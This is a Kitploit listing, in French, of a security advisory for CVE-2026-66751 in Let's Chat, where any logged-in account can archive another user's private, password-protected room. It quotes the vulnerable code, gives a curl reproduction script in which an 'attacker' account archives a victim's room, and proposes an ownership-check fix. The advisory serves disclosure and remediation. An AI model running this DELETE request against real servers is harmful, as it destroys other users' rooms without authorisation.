Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat- — Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat) | Kitploit
Outils/GitHubGitHub/theopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-
Authentication & AuthorizationVulnerability AnalysisCode AnalysisWeb SecurityLearning & Education
GitHubtheopaid/cve-2026-66751-insufficient-access-controls-allow-for-unauthorized-room-deletion-let-s-chat-

CVE-2026-66751-Insufficient-Access-Controls-Allow-for-Unauthorized-Room-Deletion-Let-s-Chat-

Security Advisory: Insufficient Access Controls Allow for Unauthorized Room Deletion (Let's Chat)

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
il y a 23 joursPas encore vérifié

Avis de sécurité : Contrôles d'accès insuffisants permettant la suppression non autorisée de salons (Let's Chat)

Identifiant CVE attribué : CVE-2026-66751

Résumé

DELETE /rooms/:room n'effectue aucun contrôle d'autorisation au-delà de l'obligation de connexion. N'importe quel compte peut archiver n'importe quel salon du serveur, y compris les salons privés protégés par mot de passe que ce même compte n'est pas autorisé à lire, rejoindre ou modifier.

L'archivage est la manière dont Let's Chat supprime les salons. Le salon disparaît de la liste des salons, les recherches directes renvoient 404, et l'envoi de messages ou le téléchargement de fichiers vers celui-ci est refusé. Il n'existe aucun chemin de code dans l'application permettant d'inverser cette opération.

Versions affectées

URL du dépôt : https://github.com/sdelements/lets-chat

Vulnérable de 0.3.0 (commit 5b5f46f, 2 janv. 2015, « Les salons sont archivés au lieu d'être supprimés ») jusqu'à 0.4.8, la version finale. Aucune version corrigée n'existe.

Les salons privés et protégés par mot de passe sont apparus en 0.4.0, donc le cas où un attaquant détruit un salon dont il ne peut pas voir le contenu s'applique à partir de 0.4.0. Le contrôle manquant date lui-même de 0.3.0.

Confirmé sur 0.4.8 au commit 617207f, et sur docker.io/sdelements/lets-chat:latest (0.4.7).

Classification

CWE-862 : Autorisation manquante.

Score de base CVSS 4.0 : 5.3 (Moyen) CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N

Modèle de menace

L'attaquant a besoin d'un compte utilisateur ordinaire et d'un accès réseau au port HTTP. Il n'a pas besoin d'être propriétaire du salon, d'y appartenir, d'en connaître le mot de passe, ni de détenir un rôle privilégié. L'auto-enregistrement est activé par défaut (auth.local.enableRegistration dans defaults.yml).

La sélection des cibles ne coûte rien. GET /rooms liste les salons protégés par mot de passe à chaque utilisateur par conception, de sorte que l'attaquant peut lire la liste complète des identifiants de salons et archiver chacun d'entre eux tour à tour.

Détail technique

La route exige une connexion et résout le salon, et rien de plus. app/controllers/rooms.js:99-109 :

root@kitploit:~
app.route('/rooms/:room')
    .all(middlewares.requireLogin, middlewares.roomRoute)
    .get(function(req) {
        req.io.route('rooms:get');
    })
    .put(function(req) {
        req.io.route('rooms:update');
    })
    .delete(function(req) {
        req.io.route('rooms:archive');
    });

Le gestionnaire ne transmet qu'un identifiant de salon en aval. Il ne consulte jamais req.user. app/controllers/rooms.js:217-232 :

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, function(err, room) {
        if (err) {
            console.log(err);
            return res.sendStatus(400);
        }

        if (!room) {
            return res.sendStatus(404);
        }

        res.sendStatus(204);
    });
},

Le gestionnaire (manager) n'accepte aucun argument utilisateur, il ne peut donc pas vérifier la propriété, même en principe. app/core/rooms.js:123-137 :

root@kitploit:~
RoomManager.prototype.archive = function(roomId, cb) {
    var Room = mongoose.model('Room');

    Room.findById(roomId, function(err, room) {
        if (err) {
            console.error(err);
            return cb(err);
        }

        if (!room) {
            return cb('Room does not exist.');
        }

        room.archived = true;

La voie de mise à jour voisine vérifie, elle, la propriété, ce qui donne à penser qu'il s'agit d'un oubli plutôt que d'un choix délibéré. app/core/rooms.js:89-91 :

root@kitploit:~
if(room.private && !room.owner.equals(options.user.id)) {
    return cb('Only owner can change private room.');
}

Le client rejoint cette lecture plus stricte. media/js/views/room.js:28-31 décide qui voit le contrôle d'édition, et le bouton Archiver le salon se trouve dans la fenêtre modale d'édition ouverte par ce contrôle :

root@kitploit:~
var iAmOwner = this.model.get('owner') === this.client.user.id;
var iCanEdit = iAmOwner || !this.model.get('hasPassword');

this.model.set('iAmOwner', iAmOwner);
this.model.set('iCanEdit', iCanEdit);

Pour un salon protégé par mot de passe, un non-propriétaire ne voit jamais le bouton. La restriction n'existe que dans le navigateur.

Reproduction

Requiert rooms.private: true (ou LCB_ROOMS_PRIVATE=true) afin que des salons privés puissent être créés. Le contrôle manquant s'applique lui-même à chaque salon, indépendamment de ce paramètre.

root@kitploit:~
BASE=http://localhost:5000

# Two unrelated accounts.
for U in victim attacker; do
  curl -s -X POST $BASE/account/register \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"email\":\"[email protected]\",
         \"password\":\"Passw0rd!23\",\"password-confirm\":\"Passw0rd!23\",
         \"firstName\":\"$U\",\"lastName\":\"T\",\"displayName\":\"$U\"}"
  curl -s -c $U.txt -X POST $BASE/account/login \
    -H 'Content-Type: application/json' \
    -d "{\"username\":\"$U\",\"password\":\"Passw0rd!23\"}"
done

# The victim creates a private, password protected room. Note the returned id.
curl -s -b victim.txt -X POST $BASE/rooms \
  -H 'Content-Type: application/json' \
  -d '{"name":"Board","slug":"board","private":true,"password":"S3cretRoomPw!"}'

RID=<id from the response above>

# The attacker cannot read it and cannot modify it.
curl -s -b attacker.txt "$BASE/messages?room=$RID"
curl -s -b attacker.txt -X PUT $BASE/rooms/$RID \
  -H 'Content-Type: application/json' -d '{"name":"x"}'

# The attacker archives it anyway.
curl -s -o /dev/null -w '%{http_code}\n' -b attacker.txt -X DELETE $BASE/rooms/$RID

# The owner can no longer reach their own room.
curl -s -o /dev/null -w '%{http_code}\n' -b victim.txt $BASE/rooms/$RID

Impact

Après la requête, le salon disparaît de GET /rooms pour chaque utilisateur, GET /rooms/:id renvoie 404, et messages:create et files:create le rejettent (app/core/messages.js:28-30, app/core/files.js:55-57). Rien dans app/ ne repasse archived à false, la récupération nécessite donc un accès direct à la base de données.

Correction suggérée

Passer l'appelant au gestionnaire et vérifier la propriété avant d'archiver, comme le fait déjà update. Dans app/controllers/rooms.js:217 :

root@kitploit:~
archive: function(req, res) {
    var roomId = req.param('room') || req.param('id');

    core.rooms.archive(roomId, { user: req.user }, function(err, room) {

et dans app/core/rooms.js:123, après le contrôle if (!room) :

root@kitploit:~
if (!room.owner.equals(options.user.id)) {
    return cb('Only the owner can archive this room.');
}
Télécharger l’outil